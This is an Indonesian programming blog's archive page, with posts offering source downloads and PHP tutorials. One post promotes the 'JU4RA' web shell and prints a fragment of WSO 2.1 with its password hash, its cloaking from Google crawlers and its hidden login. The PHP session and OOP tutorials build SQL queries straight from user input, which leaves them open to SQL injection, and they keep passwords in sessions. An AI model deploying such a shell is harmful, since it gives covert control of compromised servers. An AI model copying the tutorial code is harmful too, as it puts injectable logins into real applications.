.
Tampilkan postingan dengan label MySQL. Tampilkan semua postingan
Tampilkan postingan dengan label MySQL. Tampilkan semua postingan

Rabu, 17 Desember 2014

School management system

School management system

 


 


Developed in C#.Net 4.5 as front end and SQL Server 2012 as Back end. Main Features are: student registration and teachers record

DOWNLOAD GDRIVE

Rabu, 21 November 2012

Penjelasan Shell JU4RA

Sebelumnya saya minta maaf lupa share pengunaan shell pada post Berbagi Source Code Shell JU4RA
shell ini menggunakan akses login pribadi, untuk passwordnya silahkan di edit source ini
<?php
/* WSO 2.1 (Web Shell by oRb) */
$auth_pass = "2dc10f675cf85ae073e2cdd816d5499e";
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
 header('HTTP/1.0 404 Not Found');
 exit;
}
yang berwarna hijau itu encrypt passwordnya standartnya ju4ra
kalo mau edit silahkan decrypt password anda sendiri, source tipe passwordnya
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
 if( empty( $auth_pass ) ||
  ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else 

untuk loginnya tersembunyi, bisa dicek digambar dibawah ini


monggo dinikmati

Selasa, 20 November 2012

Aplikasi PHP dengan Konsep OOP

input
Berlanjut dari tutorial yang dahulu tentang pengenalan OOP pada PHP, kali ini saya akan mencoba membuat sebuah aplikasi penyimpanan dengan dengan menerapkan konsep OOP di PHP.
* disini saya asumsikan bahwa anda sudah bisa membuat sebuah database dan membuat tabel di mysql

  • saya mempunyai sebuah database dengan nama VB, dalam database tersebut terdapat tabel dengan nama matakuliah, berikut field tabel matakuliah
  • setelah membuat tabel nya, langkah selanjutnya buka text editor anda ( notepad, notepad++, dll ), kita akan membuat 4 buah file koneksi.php, simpan_database.php, index.php dan form_data.php
  • file koneksi.php
<?php
mysql_connect(“localhost”,”root”,””); // sesuaikan dengan web server anda
mysql_select_db(“vb”);
?>
  • form_data.php
<?php
class form_data{
function tambah_daftar()
{
?>
<form action=”index.php?menu=simpan_data” method=”post”>
<table>
<thead>
<tr>
<td colspan=”2″ align=”center”>Input Data Mata Kuliah</td>
</tr>
</thead>
<tbody>
<tr>
<td>Kode Mata Kuliah</td>
<td><input type=”text” name=”kode”</td>
</tr>
<tr>
<td>Nama Mata Kuliah</td>
<td><input type=”text” name=”nama”</td>
</tr>
<tr>
<td>Jumlah SKS</td>
<td><input type=”text” name=”sks”</td>
</tr>
<tr>
<td>Semester</td>
<td><input type=”text” name=”semester”</td>
</tr>
<tfoot>
<tr>
<td></td>
<td><input type=”submit” value=”Simpan”</td>
</tr>
</tfoot>
</tbody>
</table>
</form>
<?php
}
function tampil_data()
{
?>
<table width=”40%”>
<thead>
<tr align=”center”>
<td>Kode MK</td>
<td>Nama MK</td>
<td>SKS</td>
<td>Semester</td>
</tr>
</thead>
<tbody>
<?php
$s=mysql_query(“select * from matakuliah order by kode_mk asc”);
while($r=mysql_fetch_array($s))
{
echo “<tr>”;
echo “<td>”.$r['kode_mk'].”</td>”;
echo “<td>”.$r['nama_mk'].”</td>”;
echo “<td>”.$r['sks'].”</td>”;
echo “<td>”.$r['semester'].”</td>”;
echo “</tr>”;
}
?>
</tbody>
</table>
<?php
}
}
?>
  • simpan_database.php
<?php
$kode=$_POST['kode'];
$nama=$_POST['nama'];
$sks=$_POST['sks'];
$semester=$_POST['semester'];
class simpan{
function simpan_data($kode,$nama,$sks,$semester){
//memvalidasi apakah data tersebut sudah ada atau belum
$validasi=mysql_query(“select kode_mk from matakuliah where kode_mk=’$kode’”);
if(mysql_num_rows($validasi)>0){
echo “<script>alert(‘Kode Mata kuliah sudah ada’); location.href=’index.php’;</script>\n”;
exit(0);
}
//validasi inputan supaya data yang dimasukkan tidak kosong
if(((!$kode)||(!$nama)||(!$sks)||(!$semester))){
echo “<script>alert(‘Data Tidak Boleh Kosong’); location.href=’index.php’;</script>\n”;
}
else{
echo “<script>alert(‘kode Mk = $kode | Nama Makul = $nama Sudah Tersimpan’);</script>\n”;
$hasil=mysql_query(“insert into matakuliah (kode_mk,nama_mk,sks,semester)
values(‘$kode’,’$nama’,’$sks’,’$semester’)”);
echo “<script>location.href=’index.php’;</script>\n”;
}
}
}
?>
  • index.php
<!DOCTYPE HTML>
<html>
<head>
<title>Tabel Data Akademik</title>
<link rel=”stylesheet” href=”style.css”>
<link rel=”stylesheet” href=”style2.css”>
</head>
<body>
<?php
ini_set(‘display_errors’,0);
include “form_data.php”;
$form_data=new form_data(); //kelas yang ada pada file form_data.php
include “simpan_database.php”;
$simpan=new Simpan(); //kelas yang ada pada file simpan_database.php
include “koneksi.php”;
$menu=$_GET['menu'];
switch ($menu)
{
case “simpan_data”:
$simpan->simpan_data($kode,$nama,$sks,$semester);
break;
default:
$form_data->tambah_daftar();
echo “<hr>”;
$form_data->tampil_data();
}
?>
</body>
</html>
untuk mempercantik tampilan disini saya sedikit menambahkan css kedalam tabel tersebut, hasilnya seperti berikut
* download source code disini

PHP Source Code - Sistem Informasi Kampus





Smart SisfoKampus adalah Sistem Informasi Manajemen Kampus Indonesia. Tercermin bahwa Smart SisfoKampus ditujukan untuk mengelola Sistem Informasi Kampus, dalam hal ini adalah Perguruan Tinggi di Indonesia.

Modul Smart SisfoKampus

Modul di dalam Smart SisfoKampus dirancang mengikuti bisnis proses yang ada di dalam manajemen perguruan tinggi di Indonesia. Setiap modul mencerminkan fungsionalitas dan proses sesuai dengan has akses dari setiap user. Deskripsi detil dari masing-masing modul adalah sebagai berikut:
  1. Modul Administrasi Sistem
  2. Modul Administrasi Master
  3. Modul Kepala Admisi (Penerimaan Mahasiswa Baru)
  4. Modul Admisi (Penerimaan Mahasiswa Baru)
  5. Modul Kepala Administrasi Akademik (Ka.BAA)
  6. Modul Administrasi Akademik
  7. Modul Rektorat
  8. Modul Keuangan
  9. Modul Jurusan
  10. Modul Dosen
  11. Modul Mahasiswa
  12. Modul SMS Gateway
  13. Modul Utiliti (DIKTI)
Smart SisfoKampus memiliki lisensi GNU/GPL (General Public License). Dengan demikian Smart SisfoKampus dapat dipergunakan dan dimanfaatkan sepenuhnya sesuai dengan azas GNU/GPL. Jangan lupa bahwa Smart SisfoKampus adalah Open Source, maka sourcenya dapat di download bebas.
Download Source Code here
Mirror
versi 3.5 8MB
versi 2005 582KB
versi 3.5 tar.gz 2MB 
File Size : 7,847 KB
File pendukung :

PHP Source Code - Sistem Informasi Kepegawaian

Sistem Informasi Kepegawaian berbasis platform PHP dengan database My SQL

Pada aplikasi ini karyawan dapat mengajukan permohonan cuti dan mendapatkan persetujuan cuti dari atasan secara online. Atasan dapat melihat daftar riwayat cuti karyawan.

Download source code

Program pendukung
1. PHP Triad
2. My SQL
3. PHP Editor

Kamis, 15 November 2012

Contoh Aplikasi PHP Dalam Penggunaan Session

Untuk mengenal dan memahami lebih jauh tentang session pada php. buatlah project berikut ini


Langkah Pertama membuat file setup.php untuk membuat database:

setup.php

<html>
<head>
<title>Setup Database</title>
</head>

<body>
<?php
$cn = @mysql_connect("localhost", "root", "") or die ("Gagal konek ke MySQL.");
mysql_query("drop database if exists db_user", $cn) or die ("Gagal menghapus database.");
mysql_query("create database db_user", $cn) or die ("Gagal membuat database.");
mysql_select_db("db_user", $cn) or die ("Gagal membuka database.");
mysql_query("create table tb_user (
login_username varchar(32) not null,
login_password char (32),
login_rights varchar (32),
primary key(login_username)
)", $cn) or die("Gagal membuat table.");
mysql_query("insert into tb_user values('admin', md5('admin'), '[A] [U]')", $cn);
mysql_query("insert into tb_user values('user', md5('user'), '[U]'", $cn);
mysql_close($cn);
?>
<p>Sukses meng-setup database!<br/>
username: <b>admin</b> dan Password: <b>admin</b>
username: <b>user</b> dan Password: <b>user</b>
</p>
<p>Silakan menuju <a href="index.php">index.php</a></p>
</body>
</html>

Kedua Membuat File Halaman Utama :

index.php

<html>
<head>
<title>Homepage</title>
</head>
<body>
<P>
<a href="index.php">Home</a> |
<a href="login.php">Login</a> |
<a href="member.php">Member</a> |
<a href="logout.php">Logout</a>
</P>
<p>Selamat datang. Di sini semua orang bisa mengakses.</p>
</body>
</html>

Ketiga membuat file yang hanya dapat diakses untuk member saja :

member.php

<?php
session_start();
$username = "";
$password = "";
if (isset($_SESSION['username']) && isset($_SESSION['password'])) {
$un = $_SESSION['username'];
$pw = md5($_SESSION['password']);
$cn = @mysql_connect("localhost", "root", "") or die ("Gagal konek ke MySQL.");
mysql_select_db("db_user") or die ("Gagal memilih database.");
$query = "select * from tb_user where
login_username ='$un' and login_password = '$pw'";
$hasil = mysql_query($query) or die ("Gagal melakukan query.");
if ($hasil !=false) {
if (mysql_num_rows($hasil) ==1) {
$username = $_SESSION['username'];
$password = $_SESSION['password'];
};
};
};
?>
<html>
<head>
<title>Members Only</title>
</head>
<body>
<p>
<a href="index.php">Home</a> |
<a href="member.php">login</a> |
<a href="member.php">member</a> |
<a href="logout.php">logout</a>
</p>
<?php
if (empty($username) || empty($password)) {
echo "<p>Maaf, hanya members yang boleh mengakses halaman ini.</p>";
}
else {
?>
<p>
Selamat datang <b><?php echo $username; ?></b>
</p>
<?php
};
?>
</body>
</html>

Keempat membuat form login
login.php
<?php
session_start();
$username = "";
$password = "";
if (isset($_POST['username']) && isset($_POST['password'])) {
$un = $_POST['username'];
$pw = md5($_POST['password']);
$cn = @mysql_connect("localhost", "root", "") or die ("Gagal konek ke mysql.");
mysql_select_db("db_user") or die ("Gagal memilih database.");
$query = "select * from tb_user where
login_username = '$un' and login_password = '$pw'";
$hasil = mysql_query($query) or die ("Gagal melakukan query.");
if ($hasil !=false) {
if (mysql_num_rows($hasil) ==1) {
$username = $_POST['username'];
$password = $_POST['Password'];
$_SESSION['username'] = $_POST['username'];
$_SESSION['password'] = $_POST['password'];
};
};
};
?>
<html>
<head>
<title>Login</title>
</head>
<body>
<p>
<a href="index.php">Home</a> |
<a href="login.php">Login</a> |
<a href="member.php">Member</a> |
<a href="logout.php">Logout</a>
</p>
<p>
<?php
if (empty($username)) {
if (isset($_POST['username']) || isset($_POST['password'])) {
echo "<p>Username dan pasaword yang anda ketik adalah salah!</p>";
};
?>
<form name="login_form" method="post" action="login.php">
username: <input name="username" size="32" maxleght="32" ><br/>
password: <input name="password" type="password" maxleght="32" ><br/>
<input type="submit" name="button" value="submit" >
</form>
<?php
}
else {
?>
<p>Anda telah berhasil melakukan login.</p>
<?php
};
?>
</p>
</body>
</html>

Kelima atau yang terakhir membuat file logout
logout.php
<?php
session_start();
unset($_SESSION['username']);
unset($_SESSION['password']);
?>
<html>
<head>
<title>logout</title>
</head>
<body>
<p>
<a href="index.php">Home</a> |
<a href="login.php">Login</a> |
<a href="memeber.php">Member</a> |
<a href="logout.php">Logout</a>
</p>
<p>
okee...Anda sudah logout.
</p>
</body>
</html>

S
emoga Bermanfaat! 

Senin, 12 November 2012

Kirim Email dengan Attachment Menggunakan Delphi 7 (Source Code)


Beberapa hari kemarin seorang pembaca minta tolong untuk dibuatkan aplikasi kecil menggunakan Delphi 7 untuk mengirim data menggunakan email. Data diambil dari database MySQL dipindah ke database Microsoft Access lalu dikirim sebagai attachment menggunakan email. Sebelum dikirim, data yang sudah dipindah ke database MS Access terlebih dahulu di compress dengan winrar.
Berikut alur program :
  1. Ambil data dari MySQL pindahkan ke database MS Access
  2. Compress file dengan winrar, beri password
  3. Kirimkan ke alamat tujuan
Agar dapat membuka source code program ini dengan Delphi 7, terlebih dahulu komponen Indy diupdate ke versi 10 karena bawaan Delphi 7 adalah komponen Indy  versi 9.
Langkah-langkah update komponen Indy ke versi 10 :
  1. Buang dulu komponen Indy versi 9 dengan menggunakan installer Delphi 7
  2. Download komponen Indy 10 disini
  3. Extract di mana saja, bebas tetapi saya anjurkan di folder C:\Program Files\Borland\Delphi7 lalu buatkan folder baru dengan nama misalnya : Indy10
  4. Buka dan compile file .dpk dengan urutan sebagai berikut :
  5. IndySystem70.dpk (folder : Lib\System)
  6. IndyCore70.dpk (folder : Lib\Core)
  7. IndyProtocols70.dpk (folder : Lib\Protocols)
  8. Lalu buka semua file .dpk, klik Install dengan urutan sebagai berikut :
  9. dclIndyCore70.dpk (folder : Lib\Core)
  10. dclIndyProtocols70.dpk (folder : Lib\Protocols)
  11. Tambahkan library path di Delphi 7 antara lain :
    • Lib\Protocols
    • Lib\System
    • Lib\Core
  12. Installasi komponen Indy 10 selesai
Download source code antara lain :
  1. MySQL Script download disini
  2. Download MySQL ODBC Driver 3.51 disini
  3. Download source code Delphi 7 disini
Beberapa screen capture program :
Semoga bermanfaat.

Aplikasi Android Nama Bayi dengan PHP, MySQL dan JSON (Source Code)


Aplikasi nama bayi sederhana ini adalah hasil pengembangan dari aplikasi nama bayi yang pernah saya buat menggunakan Delphi 7 dengan database MS-Access di link ini :http://pcdokter.blogspot.com/2012/11/aplikasi-nama-bayi-gratis.html
Sisi server menggunakan database MySQL dan PHP sederhana, hanya untuk mengenerate JSON berdasarkan query string yang dikirim dari android.
Aplikasi ini saya buat dengan Eclipse IDE Helios dengan plugins ADT Android. Untuk lebih jelasnya silahkan baca disini : http://developer.android.com/sdk/installing/index.html
Untuk import project, lakukan langkah berikut di Eclipse IDE :
  • Menu File – Import
  • Pilih Existing Projects into Workspace
  • Pilih Folder project
Pada aplikasi ini yang dapat di pelajari antara lain :
  • Akses json ke server dengan backend PHP
  • Penggunaan lebih dari 1 Activity
  • Pengiriman parameter ke Activity
  • Parsing JSON
  • Menampilkan data JSON ke ListActivity
  • Paging di ListActivity
Beberapa Screen Shot Aplikasi :
Menu Utama
Menu Utama
Filter
List Berdasarkan Abjad
List Berdasarkan Abjad
Detail Nama
Download Source Code PHP disini
Download MySQL Script disini
Download Source Code Android disini
Download APK (installer android) disini, untuk menjalankan aplikasi ini harus ada koneksi internet